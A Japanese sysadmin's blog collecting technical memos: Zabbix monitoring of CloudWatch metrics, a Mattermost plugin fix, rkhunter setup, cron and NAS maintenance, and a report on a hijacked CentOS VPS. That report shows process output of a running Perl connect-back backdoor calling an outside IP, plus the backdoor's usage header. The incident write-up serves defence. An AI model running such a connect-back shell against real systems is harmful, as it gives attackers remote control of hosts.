zuntan02のはてなブログ

備忘録的なものです。時々職場の技術者ブログにも転記してますが、メインはこちらで。

ZabbixでCloudWatchの値を取得する

【概要】

aws-sdkを利用して、ELBやRDSをzabbixで監視する
zabbixの外部チェック機能を利用する

【参考】

aws-sdk-coreを利用して、ELBやRDSをzabbixで監視する | システム運用日記
↑ほぼここの内容のコピペですが、実行インスタンスにロールに権限がついてない場合、または別AWSアカウントで稼働しているzabbixから別のAWSアカウントの持つCloudWatchを監視するために、zabbixアカウントが利用するcredentialsに複数profileを書いて利用できるよう、一部追加しました

https://qiita.com/ryo0301/items/39308a5dc457b5df59ee
https://qiita.com/kenjiskywalker/items/2c29f8f532880cb81aef
https://gist.github.com/yokota-shinsuke/7350559
https://qiita.com/bakira/items/3a4876cbb39f9a7ec3b8

【作業ログ】

#Zabbixサーバにて以下のモジュールを導入
gem install aws-sdk-core

# aws-sdkのバージョン3ではうまく動かない模様。aws-sdk(v2)を追加でインストール
gem install aws-sdk -v "~>2"

gem list
(抜粋)
# aws-sdk (2.11.33)
# aws-sdk-core (3.19.0, 3.6.0, 2.11.33)
# aws-sdk-resources (2.11.33)

実行アカウントの設定

# ※複数のAWS認証情報を利用する場合は、profile機能を利用する
# aws hogehoge --profile ${profile}

AWS Management Console

# CloudWatch用IAMユーザ作成
ユーザ名:zabbix
AWSアクセスの種類:プログラムによるアクセス
グループ:CloudWatch(CloudWatchFullAccess)←とりあえずテストなのでこれくらいの権限で

zabbixサーバで認証情報登録

# zabbixユーザにbashを設定する

mkdir /var/lib/zabbix
cp -p /etc/skel/.bash_profile /var/lib/zabbix/

# zabbixアカウント用のアクセスキー等を配置

sudo -u zabbix aws configure
# AWS Access Key ID [None]: hogehoge
# AWS Secret Access Key [None]: fugafuga
# Default region name [None]: ap-northeast-1
# Default output format [None]:json
複数アカウントを利用できるようにプロファイルを用意しておく

vi /var/lib/zabbix/.aws/config

[profile awshoge]
output = json
region = ap-northeast-1

[default]
region = ap-northeast-1

vi /var/lib/zabbix/.aws/credentials

[awshoge]
aws_access_key_id = hogehoge
aws_secret_access_key = fugafuga

[default]
aws_access_key_id = XXXXXXXXXX
aws_secret_access_key = XXXXXXXXXXXX

zabbixから実行する cloud_watch を作成

vi /usr/lib/zabbix/externalscripts/cloud_watch

#!/usr/bin/ruby

require 'rubygems'
require 'aws-sdk'
require 'optparse'

params = ARGV.getopts(
  "",
  "region:",
  "profile:",
  "namespace:",
  "metric:",
  "dimension_name:",
  "dimension_value:",
  "statistics:",
  "unit:"
)


creds = Aws::SharedCredentials.new path: '/var/lib/zabbix/.aws/credentials', profile_name: params['profile']
Aws.config[:credentials] = creds

cw = Aws::CloudWatch::Client.new(
    :region => params['region'],
)

resp = cw.get_metric_statistics(
    namespace: params['namespace'],
    metric_name: params['metric'],
    dimensions: [
        {
            name: params['dimension_name'],
            value: params['dimension_value'],
        },
    ],
    start_time: Time.now - 300,
    end_time: Time.now,
    period: 300,
    statistics: [params['statistics']],
    unit: params['unit'],
)

    data = resp[:datapoints]
    last_stats = data.sort_by{ | stat | stat[:timestamp]}.last

        if last_stats.nil? then
                exit
        else
        p last_stats[params['statistics'].downcase.to_sym].to_i
    end

chmod 755 /usr/lib/zabbix/externalscripts/cloud_watch

# テスト実行

sudo -u zabbix /usr/lib/zabbix/externalscripts/cloud_watch --region ap-northeast-1 --namespace AWS/RDS --metric CPUUtilization --dimension_name DBInstanceIdentifier --dimension_value ホスト名 --statistics Average --profile awshoge

zabbixWebUIから設定

例:CPUUtilization

1.設定→テンプレート→テンプレートの作成ボタンを押下
ホスト名:RDS-awshoge
(そのほかはデフォルトのまま)にして作成

3.設定→テンプレート→「RDS-awshoge」の「アイテム 」リンクを押下
[アイテムの作成]にて

名前:RDS CPU Usage
タイプ:外部チェック
キー:cloud_watch["--metric","CPUUtilization","--dimension_name","DBInstanceIdentifier","--dimension_value","{HOST.NAME}","--statistics","Average","--namespace","AWS/RDS","--region","ap-northeast-1","--profile","awshoge"]
データ型:数値(浮動小数)
単位:%
更新間隔(秒):60
として作成

これで値が取れるようになりました。

【AmazonLinux+Mattermost4.8.0】初期プラグイン(ZOOM/JIRA)が有効にならない件

【問題】

[システムコンソール]-[プラグイン(ベータ版)]-[設定]で有効にしてもプラグインがつかえない。
インストールされていないのかと思ってtgz拾ってきてアップロードしようとすると「プラグインは無効化されています」と言われる。
アプリケーションログ(/opt/mattermost/log以下)を見ると

[2018/04/04 19:42:05 JST] [EROR] failed to start up plugins: mkdir ./client/plugins: no such file or directory
[2018/04/04 19:42:06 JST] [EROR] /api/v4/plugins:GetPlugins code=501 rid=(中略) Plugins have been disabled. [details: ]

みたいなログ。

【解決】

vi /etc/init.d/mattermost

SERVICE=mattermost
start() {
    cd /opt/mattermost/bin
    sudo -u mattermost ./platform > /dev/null &
    echo "service $SERVICE [start]"

を以下の様に変更

SERVICE=mattermost
start() {
    cd /opt/mattermost/
    sudo -u mattermost ./bin/platform > /dev/null &
    echo "service $SERVICE [start]"
}

【情報】

https://github.com/mattermost/docs/blob/master/source/administration/plugins.rst
曰く
the working directory for the service running Mattermost is not correct.
This can be fixed on Ubuntu 16.04 and RHEL by opening the service configuration file and setting WorkingDirectory to the path to Mattermost, often /opt/mattermost.

mattermost.log見ると

[2018/04/04 19:47:46 JST] [INFO] 現在のワーキングディレクトリーは/opt/mattermost/binです

なので、最初のcdを/opt/mattermostにしてやればよかった。
ググっても殆どヒットしないのでニッチな情報だと思いますが、誰かの役に立てば。。。

AmazonLinuxにRootkitHunter導入したメモ

【参考】

https://sys-guard.com/post-15162/
(ここほぼそのまま)

【作業メモ】

RootkitHunterのインストール

yum install rkhunter

Installed:
  rkhunter.noarch 0:1.4.2-0.9.amzn1
rootkithunterのセキュリティデータベースアップデート

以下に示す

rkhunter --propupd
rkhunter --update

を実行したらエラーが出たりしたので、/etc/rkhunter.confファイルで回避した。

cp -p /etc/rkhunter.conf /etc/rkhunter.conf.org
vi /etc/rkhunter.conf 
→(中略)
→変更後変更内容確認
diff /etc/rkhunter.conf /etc/rkhunter.conf.org
587c587
< # SCRIPTWHITELIST=/usr/bin/GET
---
> SCRIPTWHITELIST=/usr/bin/GET
590d589
< XINETD_ALLOWED_SVC=/etc/xinetd.d/xproftpd


→設定ファイルを編集したら、「rkhunter --propupd」を実行

システムファイルの情報アップデート

rkhunter --propupd

[ Rootkit Hunter version 1.4.2 ]
File created: searched for 170 files, found 144
検知対象情報アップデート

rkhunter --update

[ Rootkit Hunter version 1.4.2 ]

Checking rkhunter data files...
  Checking file mirrors.dat                                  [ No update ]
  Checking file programs_bad.dat                             [ Updated ]
  Checking file backdoorports.dat                            [ No update ]
  Checking file suspscan.dat                                 [ Updated ]
  Checking file i18n/cn                                      [ No update ]
  Checking file i18n/de                                      [ Updated ]
  Checking file i18n/en                                      [ No update ]
  Checking file i18n/tr                                      [ Updated ]
  Checking file i18n/tr.utf8                                 [ Updated ]
  Checking file i18n/zh                                      [ Updated ]
  Checking file i18n/zh.utf8                                 [ Updated ]

初回チェック

rkhunter -c --rwo --sk

-c チェック
--sk エンターキー要求をスキップ
--rwo 警告のみ表示
定期実行スクリプトの設置

vi /hoge/rkhunter.sh

#!/bin/sh

## -------------------------------
MAILTO=hoge@fugafuga.com
## -------------------------------

MAILBODY=`mktemp /tmp/temp.XXXXXX`

# rootkit判定データベース更新
/usr/bin/rkhunter --update > /dev/null 2>&1

# チェック実行 異常があればメールを行う
/usr/bin/rkhunter -c --sk --cronjob --rwo 2>&1 > $MAILBODY
if [ -s $MAILBODY ]; then
    mail -s "[Rootkit Hunter] `hostname` `date +%Y-%m-%d`" $MAILTO < $MAILBODY
fi

rm -f $MAILBODY
実行権限をつけて実行
chmod +x /hoge/rkhunter.sh
sh /hoge/rkhunter.sh

# 証明書の自動更新 1日1回
crontab -e

10 4 * * * /srv/bin/rkhunter.sh > /dev/null 2>&1

# 初回実行後にアカウントを追加したりしていると以下のようなメールが来る

[Rootkit Hunter] hogehoge.jp 2018-08-27

Warning: User 'zabbix' has been added to the passwd file.
Warning: Group 'zabbix' has been added to the group file.

さくらのVPSで長らく放置していたCentOS5環境が乗っ取られていた

【経緯】

練習用に配布していたVPSの環境を整理しようとしてログインしてsu - したら

su: user root does not exist

といわれる。

プロセスを確認すると、rootがfirefartというユーザにリネームされているような状態。

s aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
firefart     1  0.0  0.0  10372   688 ?        Ss    2015   0:12 init [3]
firefart     2  0.0  0.0      0     0 ?        S<    2015   0:29 [migration/0]
firefart     3  0.0  0.0      0     0 ?        SN    2015   0:00 [ksoftirqd/0]
firefart     4  0.0  0.0      0     0 ?        S<    2015   0:00 [watchdog/0]
firefart     5  0.0  0.0      0     0 ?        S<    2015   0:15 [migration/1]
firefart     6  0.0  0.0      0     0 ?        SN    2015   0:00 [ksoftirqd/1]
firefart     7  0.0  0.0      0     0 ?        S<    2015   0:01 [watchdog/1]
firefart     8  0.0  0.0      0     0 ?        S<    2015   3:48 [events/0]
firefart     9  0.0  0.0      0     0 ?        S<    2015   1:26 [events/1]
firefart    10  0.0  0.0      0     0 ?        S<    2015   0:08 [khelper]
firefart    19  0.0  0.0      0     0 ?        S<    2015   0:00 [kthread]
firefart    24  0.0  0.0      0     0 ?        S<    2015   0:01 [kblockd/0]
firefart    25  0.0  0.0      0     0 ?        S<    2015   0:00 [kblockd/1]
firefart    26  0.0  0.0      0     0 ?        S<    2015   0:00 [kacpid]
(省略)
nobody    4826  0.0  0.1  10820  1072 ?        S    Feb16   0:00 sh -c perl kl.txt 96.125.170.94 21 2>&1 3>&1
nobody    4827  0.0  0.4  33312  4344 ?        S    Feb16   0:00 perl kl.txt 96.125.170.94 21

このkl.txtというのが/tmpの下に置かれていて、

!/usr/bin/perl
use IO::Socket;
#Cold-z3ro  Connect Back Shell
#code by:Cold-z3ro www.4azhar.com c.o.1.d.0@hotmail.com
#
#
#Cold-z3ro@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by Cold-z3ro ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#Cold-z3ro@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 1.0 by Cold-z3ro  ==--
#
#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host
(省略)

あー。なんかすみません。

他にも/tmpの下には怪しいファイルがてんこ盛り

drwxrwxrwt 72 firefart root       4096 Mar 23 14:24 .
drwxr-xr-x  2 nobody   nobody     4096 Mar 11 09:50 .
drwxr-xr-x 23 firefart root       4096 Sep  1  2015 ..
drwxr-xr-x  3 nobody   nobody     4096 Feb 23 09:22 .aaapasiddwww
drwxr-xr-x  3 nobody   nobody     4096 Mar  3 04:40 .aepsouasxxxwer
drwxr-xr-x  3 nobody   nobody     4096 Feb 12 03:41 .apxcusug
drwxr-xr-x  2 nobody   nobody     4096 Dec 24  2010 bb
-rw-r--r--  1 nobody   nobody   176245 Mar  3 05:58 bb.zip
drwxr-xr-x  3 nobody   nobody     4096 Feb 19 14:29 .cpdiueixxxx
drwxr-xr-x  3 nobody   nobody     4096 Feb 14 01:52 .dposuxxxx
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 07:10 .eodsdfolqrqre
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 00:41 .eodsxxweuee
drwxr-xr-x  3 nobody   nobody     4096 Feb 27 23:51 .eodusudxxx
drwxr-xr-x  3 nobody   nobody     4096 Feb 27 07:59 .eouuidffwe
drwxr-xr-x  3 nobody   nobody     4096 Mar  3 09:22 .epdosudffs
drwxr-xr-x  3 nobody   nobody     4096 Mar  3 09:58 .epfsudfqeqew
drwxr-xr-x  3 nobody   nobody     4096 Feb 23 00:15 .epqwiuxxllsdifu
-rw-r--r--  1 nobody   nobody  3331445 Mar 11 09:45 e.tgz
drwxr-xr-x  2 nobody   nobody     4096 Mar  7 08:06 etn
drwxr-xr-x  3 nobody   nobody     4096 Mar  3 07:22 .fsodgfudfisd
drwxr-xr-x  2 nobody   nobody     4096 Mar  1 10:20 .hahayysdfds
drwxrwxrwt  2 firefart root       4096 Aug 26  2015 .ICE-unix
drwxr-xr-x  3 nobody   nobody     4096 Feb 20 08:14 .ipqqqqiiewer
drwxr-xr-x  3 nobody   nobody     4096 Mar 14 02:24 .iuewyreuwtr
drwxr-xr-x  3 nobody   nobody     4096 Mar 14 00:46 .kaisoxaisqqq
-rw-r--r--  1 nobody   nobody     1995 Jan 28 18:22 kl.txt
-rw-r--r--  1 nobody   nobody     1995 Jan 28 18:22 kl.txt.1
drwxr-xr-x  3 nobody   nobody     4096 Mar 12 16:36 .losdiuqweqw
drwxr-xr-x  2 nobody   nobody     4096 Jan  1 00:01 min
-rw-r--r--  1 nobody   nobody  1307222 Feb 21 08:03 min.tgz
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 06:14 .odsfyiwekrwe
drwxr-xr-x  3 nobody   nobody     4096 Feb 11 02:05 .oiieworqqw
drwxr-xr-x  3 nobody   nobody     4096 Mar 11 10:00 .osdfdsfogf
drwxr-xr-x  2 nobody   nobody     4096 Feb 19 13:43 .osdixxxqwee
drwxr-xr-x  3 nobody   nobody     4096 Mar 11 08:55 .p
drwxr-xr-x  3 nobody   nobody     4096 Feb 16 03:59 .paidufyxxx
drwxr-xr-x  3 nobody   nobody     4096 Feb 25 07:56 .pdidysucsdfsd
drwxr-xr-x  3 nobody   nobody     4096 Mar  9 22:21 .pdsifxxqytqtrwe
drwxr-xr-x  3 nobody   nobody     4096 Mar 14 03:57 .pefiuwewerowe
drwxr-xr-x  3 nobody   nobody     4096 Mar 12 17:10 .pfsiduqeqw
-rw-r--r--  1 nobody   nobody    41917 Mar  3 06:02 pico
drwxr-xr-x  3 nobody   nobody     4096 Feb 28 10:13 .pidsufsdoqr
drwxr-xr-x  3 nobody   nobody     4096 Feb 12 03:30 .ppoiwqerower
drwxr-xr-x  3 nobody   nobody     4096 Feb 22 04:16 .psadfiuxiiqwqr
drwxr-xr-x  3 nobody   nobody     4096 Feb 12 09:07 .psdfyyqwq
drwxr-xr-x  3 nobody   nobody     4096 Feb 26 22:57 .psiduasidxxx
-rw-r--r--  1 nobody   nobody 11865549 Mar 11 08:56 p.tgz
drwxr-xr-x  3 nobody   nobody     4096 Feb 27 01:43 .pwidisdxxsdg
drwxr-xr-x  3 nobody   nobody     4096 Feb 23 11:38 .pwiuifksdsf
drwxr-xr-x  3 nobody   nobody     4096 Mar  2 05:02 .qoisofgodg
drwxr-xr-x  2 nobody   nobody     4096 Mar 12 15:36 .radiasiasa
drwxr-xr-x  3 nobody   nobody     4096 Mar 13 14:30 .radicalspiasdf
drwxr-xr-x  3 nobody   nobody     4096 Mar 13 16:32 .raldoasopww
drwxr-xr-x  2 nobody   nobody     4096 Feb 21 08:07 .sdfgigdfgdfgdfgdf
drwxr-xr-x  3 nobody   nobody     4096 Feb 16 06:33 .sdfguiowrfdfdg
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 10:05 .sdgfduguiwerew
drwxr-xr-x  3 nobody   nobody     4096 Feb 17 13:29 .sdifdsfxx
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 11:27 .sdifuixwerwq
drwxr-xr-x  3 nobody   nobody     4096 Feb 11 01:36 .sdjfusdiqeq
drwxr-xr-x  2 nobody   nobody     4096 Feb 27 11:28 .sdkifusdf
drwxr-xr-x  3 nobody   nobody     4096 Mar 11 11:09 .sdofdfgqweqw
drwxr-xr-x  3 nobody   nobody     4096 Feb 17 13:27 .sdofiosrwrwq
drwxr-xr-x  3 nobody   nobody     4096 Feb 11 01:01 .sdufuqrerewr
drwxr-xr-x  3 nobody   nobody     4096 Feb 14 02:41 .sdywyuqxxxx
-rw-------  1 nobody   nobody      112 Mar 19 16:49 sess_bcdc55fec762cd39f63c998a5b3b56f3
-rw-------  1 nobody   nobody      112 Mar 23 14:47 sess_fab50cb89f14720c8e4d42555c4ce69b
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 10:43 .sidgfuiwrw
drwxr-xr-x  3 nobody   nobody     4096 Mar  1 15:21 .spdofdsujxxxx
drwxr-xr-x  3 nobody   nobody     4096 Feb 23 01:24 .spoiaudxxx
drwxr-xr-x  2 nobody   nobody     4096 Feb 27 11:49 st
-rw-r--r--  1 nobody   nobody     7638 Feb 27 12:05 st.tgz
drwxr-xr-x  3 nobody   nobody     4096 Mar 12 15:37 .woefifudfweqe
drwxr-xr-x  3 nobody   nobody     4096 Feb 27 01:28 .wpdisdifdssx
drwxr-xr-x  3 nobody   nobody     4096 Feb 25 21:52 .wpowuydasudi
drwxrwxrwt  2 firefart root       4096 Aug 26  2015 .X11-unix
drwxr-xr-x  2 nobody   nobody     4096 Feb 16 10:03 xp
drwxr-xr-x  3 nobody   nobody     4096 Feb 19 14:13 .xpuitgdfsddsg
drwxr-xr-x  3 nobody   nobody     4096 Feb 12 13:10 .xpxisuiqwer
drwxr-xr-x  3 nobody   nobody     4096 Feb 23 02:33 .xxuyyyhqwreqwr
drwxr-xr-x  3 nobody   nobody     4096 Feb 20 01:37 .zcjsfuwrwe
drwxr-xr-x  3 nobody   nobody     4096 Feb 28 01:07 .zlucudfidskgsf
drwxr-xr-x  3 nobody   nobody     4096 Feb  9 23:13 .zpoxaiuwewe

【原因】

hosts.allowでsshの接続は締めていたが、このうえで動いていた(今となっては素性不明の)検証用PHPにいろいろとPOSTされており、乗っ取られたのかな……と想定

この環境は滅ぼしました

cronの実ファイルの場所

俺メモ
cronの実ファイルの場所は
 /var/spool/cron/[ユーザ名]
 で確認。各ユーザにてcrontab -l で内容を取得

hourly等の確認も併せると以下の様にして確認している
crontab -l
ll /var/spool/cron/
ls -la /etc/cron.d
ll /etc/cron*


# バックアップ
su -
crontab -l -u fuga > /hoge/fuga_cron.txt

など

【参照】
crontab(cron)設定確認方法 | server-memo.net

I-O DATA HDS2-UTX8のHDD故障対応メモ

【状況】

RAID1でミラーリングしていたI-O DATA HDS2-UTX8の、HDD2のランプが赤点灯。
http://www.iodata.jp/lib/manual/pdf2/hds2-utx_hdd_b-manu202222_m-manu201471.pdf
こちら「HDD故障時の対応」によれば、「該当のHDDが故障しています」とのこと。

【交換用HDD購入と交換】

「交換用HDDは必ず弊社製オプション品の交換用HDDをご使用ください。」とあるが、
交換用のディスク「HDUOPX-4」は直販サイトwww.ioplaza.jpだと
¥ 38,664
とかだった。故障したHDD引っこ抜いてみてみたらSeagateのST4000DM004
http://amzn.to/2HMymkl
¥ 9,150
だったのでこれを注文(BUFFALOといいI-Oといい、NAS周りの「正規」交換用HDDの値付けは謎が多い)。

上記故障時の対応のHDD交換方法に従い、

  • OSからUSBの取り出し
  • USB切り離しと電源断
  • 故障HDDから取手金具を外して新しいのに付け替えて差し込む
  • 再度電源入れたらリビルド開始(エラーランプ赤点滅)

→再構築完了までは約8.0時間

kernelの古いバージョンが溜まって/boot以下が95%になったのでクリアした

【参照】

oxynotes.com

package-cleanup --oldkernels --count=世代

で良い模様。

【メモ】

df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/vda3        18G   12G  5.5G  68% /
tmpfs           939M     0  939M   0% /dev/shm
/dev/vda1        94M   84M  4.6M  95% /boot

yum install yum-utils
package-cleanup --oldkernels --count=2
Removed:
  kernel.x86_64 0:2.6.32-431.el6
  kernel-devel.x86_64 0:2.6.32-431.el6

df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/vda3        18G   12G  5.6G  67% /
tmpfs           939M     0  939M   0% /dev/shm
/dev/vda1        94M   61M   28M  69% /boot